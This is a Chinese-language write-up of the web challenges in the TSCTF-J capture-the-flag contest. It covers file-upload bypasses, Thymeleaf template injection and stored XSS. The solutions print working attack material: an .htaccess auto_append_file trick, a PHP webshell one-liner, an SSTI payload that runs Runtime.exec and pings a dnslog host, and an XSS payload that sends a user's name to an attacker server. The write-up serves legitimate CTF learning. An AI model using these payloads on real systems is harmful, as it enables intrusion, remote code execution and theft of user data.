TSCTF-J web部分复现
OnlyIMG
F12有hint,/www.zip
获取源码,有upload.php
<?php
$blacklist = array("ph","htm","ini","js","jtml", "as","cer", "swf");
if ($_FILES["file"]["error"] > 0)
{
echo "Error !" . "<br>";
}
else
{
if($_FILES["file"])
{
$dst = -----A-Secret-Path----- ; // 不能说的秘密
$fileinfo = array($_FILES["file"]["name"],$dst);
$file_name = trim($_FILES['file']['name']);
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/im', $file_name))
{
die("Upload Fail , Do not upload strange file ~");
}
}
$tmp_name = $_FILES["file"]["tmp_name"];
$contents = file_get_contents($tmp_name);
if (mb_strpos($contents, "<?p") !== FALSE)
{
die("Upload Fail , Why is there PHP code in your pic ?");
}
if (!is_dir($dst))
{
mkdir($dst);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");
$msg="Upload Success ! Your file name is : %s";
foreach($fileinfo as $key => $value)
{
$msg = sprintf($msg, $value);
}
echo $msg;
echo "<br>But I don't know where it stores......";
}
else
{
echo "Please select your file to upload first !" . "<br>";
}
}
还有一段javascript写的waf
function Checkfiles()
{
var fup = document.getElementById('file');
var fileName = fup.value;
var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
{
return true;
}
else
{
alert("Only Pics are allowed !");
return false;
}
}
这题的第一个考点就是找到上传路径,与TSCTF2022那题类似,都利用了格式化字符串漏洞,令文件名为%s
,即可输出$dst
,
得到路径./707470
。尝试访问报错,通过报错信息得知是Apache服务器。
接着分析upload.php还进行了哪些过滤。首先,对一些文件名后缀进行了过滤,然后还过滤了<?
,由于是Apache服务器,考虑用.htaccess
。可以用传统的方法,也可以直接用我之前学到的新姿势,由于已经告诉flag位置,所以.htaccess
中的内容可以为
AddType application/x-httpd-php .jpg
php_value auto_append_file /flag
最后上传一个空的1.jpg,访问即可得到flag:TSCTF-J{Ht_Of_4PachE_is_7O0_simpL3_r1ght?}
寒秋送温暖
打开环境即可得到
<?php
$upload_dir = "*****";
if(!file_exists($upload_dir)){
mkdir($upload_dir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$filename = $_FILES["file"]["name"];
$extension = substr($filename, strrpos($name,".")+1);
if(preg_match("/htaccess/i",$extension)) die("Not this!");
if($_FILES["file"]["type"]!="image/jpg"){
die("only jpg!");
}
$content = file_get_contents($tmp_name);
if(preg_match("/eval/i",$content)) die("hacker!");
try{
@move_uploaded_file($tmp_name, $upload_dir."/".$filename);
}catch(Exception $e){
die("error");
}
die( "Goooood file! The directory is ".$upload_dir);
}
?>
分析一下,大概不允许上传.htaccess
,不允许有eval
,同时还有一个MIME检测。直接上传一句话木马<?php @assert($_POST['cmd']); ?>
即可,本地jpg,发包用burpsuite改成php,修改文件类型为image/jpg。
得到flag:TSCTF-J{R3a11y_Ez_check_1N}
百里香之叶
打开题目,随便点一种语言,然后发现url中有传lang
值,随便输入一个值,发现报错
搜索报错发现是Springboot的报错页,猜测是针对Sprintboot框架Thymeleaf 模板注入(看mix爹的wp发现,Thymeleaf翻译过来正好是百里香之叶)。网上搜payload尝试__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ping%20wwwss.ks4yd3.dnslog.cn%22).getInputStream()).next()%7d__::.x
,报错
尝试后发现new被过滤,将new urlencode一下,命令改成cat /flag
,得到flag:TSCTF-J{7h3_t1me_Th4t_y0u_le@ve!}。
你的名字
出题人很贴心的写出了文档,按下让TA看看我的回答!
按钮时,bot会访问myasks界面,随便写一个问题,看看myasks界面。
同时出题人告诉我们,flag就是用户名,所以我们想办法xss外带。
这题在username和answer处都可以注入。
username
function checkUserName(username){
return username.length<=10
}
password
async function sanitizeAnswer(questions){
for(q of questions){
// 把 < 替换成html实体 <
q.answer=q.answer.replace(/</g,'<')
// 这是后端的逻辑,并不重要hhh
const askee=await usersDB.findOne({'userId':q.askeeId})
q.askeeName=askee.username
}
}
password
处过滤了<
,所以考虑在answer处实现<
利用img标签,在username处<img a='
,在answer处' src="http://kingkb.top/" onerror="console.log(2)">
,尝试后发现成功,然后想办法取出html中的用户名document.getElementsByClassName('outer')[0].firstElementChild.firstChild.data
,然后外带到服务器上,最后的payload为' src="http://kingkb.top/" onerror="window.location.href = 'http://vps:port?flag=' + document.getElementsByClassName('outer')[0].firstElementChild.firstChild.data">
vps监听得到/?flag=TSCTF-J{Hope_we_meet_the_ones}%20%E7%9A%84%E6%8F%90%E9%97%AE
,得到flag:TSCTF-J{Hope_we_meet_the_ones}。
UrlShorten
出题人的恶趣味,让找issue: Struct with named fields can be deserialized from sequence #1587 。
随便注册一个用户后登陆,尝试输入一个长链接缩短,报错
全局搜索找到报错信息所在位置
if !user.access {
return Err(AppError::new("You can't short url at present".to_string()));
}
这里是对user.access的值进行判断,搜索值。
找到struct定义处
pub struct User {
pub name: String,
pub password: String,
#[serde(default)]
pub access: bool,
}
再看一下register处
pub async fn register_post(Json(body): Json<serde_json::Value>) -> HandlerHeaderResult {
if !utils::validate_body(&body, &["name", "password"]) {
return Err(er_safe());
}
let mut user: User = match serde_json::from_value(body) {
Ok(user) => user,
Err(_) => {
return Err(user_register_failed());
}
};
if user.name.len() < 5 || user.password.len() < 7 {
return Err(too_short());
}
if USER.contains_key(&user.name) {
return Err(user_already_exists());
}
user.password = utils::sha256(user.password);
let username = user.name.to_string();
let session_cookie = uuid::Uuid::new_v4().to_string();
SESSIONS.insert(session_cookie, username.to_string());
USER.insert(username, user);
let headers = HeaderMap::new();
Ok((StatusCode::OK, headers, ()))
}
其中validate_body
函数是这样定义的
pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool {
if let Some(body) = body.as_object() {
if body.keys().any(|key| !allowed.contains(&key.as_str())) {
return false;
}
}
true
}
后面暂时先摆了,一方面没接触过rust语法,另一方面也好长时间没看过sql注入的题目了,还剩一道ezja等完了java系列的再熟悉熟悉就来复现。